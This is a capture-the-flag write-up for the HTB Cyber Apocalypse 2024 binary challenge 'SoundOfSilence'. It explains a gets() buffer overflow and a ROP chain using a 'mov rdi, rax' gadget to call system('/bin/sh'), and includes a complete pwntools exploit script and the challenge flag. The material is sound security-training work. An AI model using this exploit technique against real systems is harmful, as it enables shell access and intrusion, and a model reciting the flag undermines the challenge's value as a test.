# HTB Cyber Apocalypse 2024: SoundOfSilence

## TL;DR

> Populate `rdi` via a `mov` instruction to provide parameter to `system()`.

## Challenge Overview

SoundOfSilence is an extremely minimal binary with an unbounded buffer overflow. We have control over the EIP almost immediately but there is no win function available, meaning we'll have to ROP somewhere else. The use of `system()` does look quite suspicious.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F6iBaExpMT1HRuI5KE5q1%2Fimage.png?alt=media&#x26;token=307c8a83-2047-475e-a887-1e01fd26ab82" alt=""><figcaption></figcaption></figure>

In terms of binary protection, no canary and PIE base were found. This means an info leak wouldn't be necessary.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FXBUdKDClBPfiio2ThnO9%2Fimage.png?alt=media&#x26;token=5172da4b-8009-4aed-8abe-bb050950bf48" alt=""><figcaption></figcaption></figure>

At this point, I was thinking of different ways to exploit this after controlling the EIP:

* How about a simple ret2system? - No useful gadgets to control `rdi` and write `/bin/sh`.
* How about ret2libc? - No useful GOT entries like `puts` or `write`. Even if `write` exists, there is no `__libc_csu_init` gadget present as well.
* How about ret2dlresolve? - We're dealing with large page sizes in 64-bit, plus the lack of gadgets to populate `rdi`.
* Since we have unlimited ROP size thanks to the no boundary check of `gets()`, how about a SIGROP attack? - There is no syscall gadget available either.
* How about writing `/bin/sh` to `.bss` section via a write-what-where gadget, followed by `execev()` pointing back to the `.bss` as shown in this [writeup](https://github.com/youssefboulmalf/The-Odyssey-CTF-Joker-Ret2system)? - No such write-what-where gadget available.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F3E40P7hOsR3vMWMSZd7y%2Fimage.png?alt=media&#x26;token=8560a099-b0aa-4fc7-ba38-0c758f3d2b63" alt=""><figcaption></figcaption></figure>

## Debugging

Since the binary was so minimal, I decided to take a look at all the register values by stepping through the instructions line-by-line. Let's take a look at the registers just before it's about to perform the `ret` instruction.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FPFvgcGut85GrVDx8bqwD%2Fimage.png?alt=media&#x26;token=df4bc1bb-160d-4879-aac9-bf3fc691b965" alt=""><figcaption></figcaption></figure>

To debug the binary in GDB, we'll have to enable `set follow-fork-mode parent` since it uses `system()` to clear the terminal during program startup.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FxnSGOu97CzzcLmAZuIBz%2Fimage.png?alt=media&#x26;token=16b25ded-f9a1-46f1-bee7-9faaac7c98f6" alt=""><figcaption></figcaption></figure>

Right before the main function returns, we can see that our user input is saved in the `rax` register. This means that if we can find an instruction or gadget that copies whatever is in `rax` into `rdi`, we essentially satisfy all the requirements to execute `system(/bin/sh)`.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F2oS7majteG3LrBLrxu3H%2Fimage.png?alt=media&#x26;token=d4e5649d-0732-4ee2-9782-4d3e395adf8f" alt=""><figcaption></figcaption></figure>

Taking a look at the disassembly code, the instruction at `0x401169` fits just right into what we're looking for.&#x20;

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FPphSe0awXzfm3VqjAmOw%2Fimage.png?alt=media&#x26;token=15534e0a-86a6-4152-a294-22e599ac3de1" alt=""><figcaption></figcaption></figure>

## Solution

The ROP chain is fairly simple: Once we have control over the EIP, we can jump to the `mov rdi, rax` instruction to populate `rdi` with `/bin/sh`, followed by a call to `system()` to get a shell.

{% code title="solve.py" %}

```python
#!/usr/bin/env python3

from pwn import *

elf = context.binary = ELF('./sound_of_silence_patched', checksec=False)
context.arch = 'amd64'
context.log_level = 'debug'

libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

p = elf.process()
# p = remote("94.237.61.21", 52613)
rop = ROP(elf)

mov_rdi = 0x401169

payload = flat(
    b'/bin/sh\x00' * 5, # Fills 40 bytes of padding
    mov_rdi,
    elf.plt['system']
)

p.sendafter(b'>> ', payload)
p.sendline()  

p.interactive()
```

{% endcode %}

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FA8vOoSocZHrMVimMQQfw%2Fimage.png?alt=media&#x26;token=c9f0e3d5-74b2-4249-89fa-187a70f575c0" alt=""><figcaption></figcaption></figure>

**Flag:** HTB{n0\_n33d\_4\_l34k5\_wh3n\_u\_h4v3\_5y5t3m}
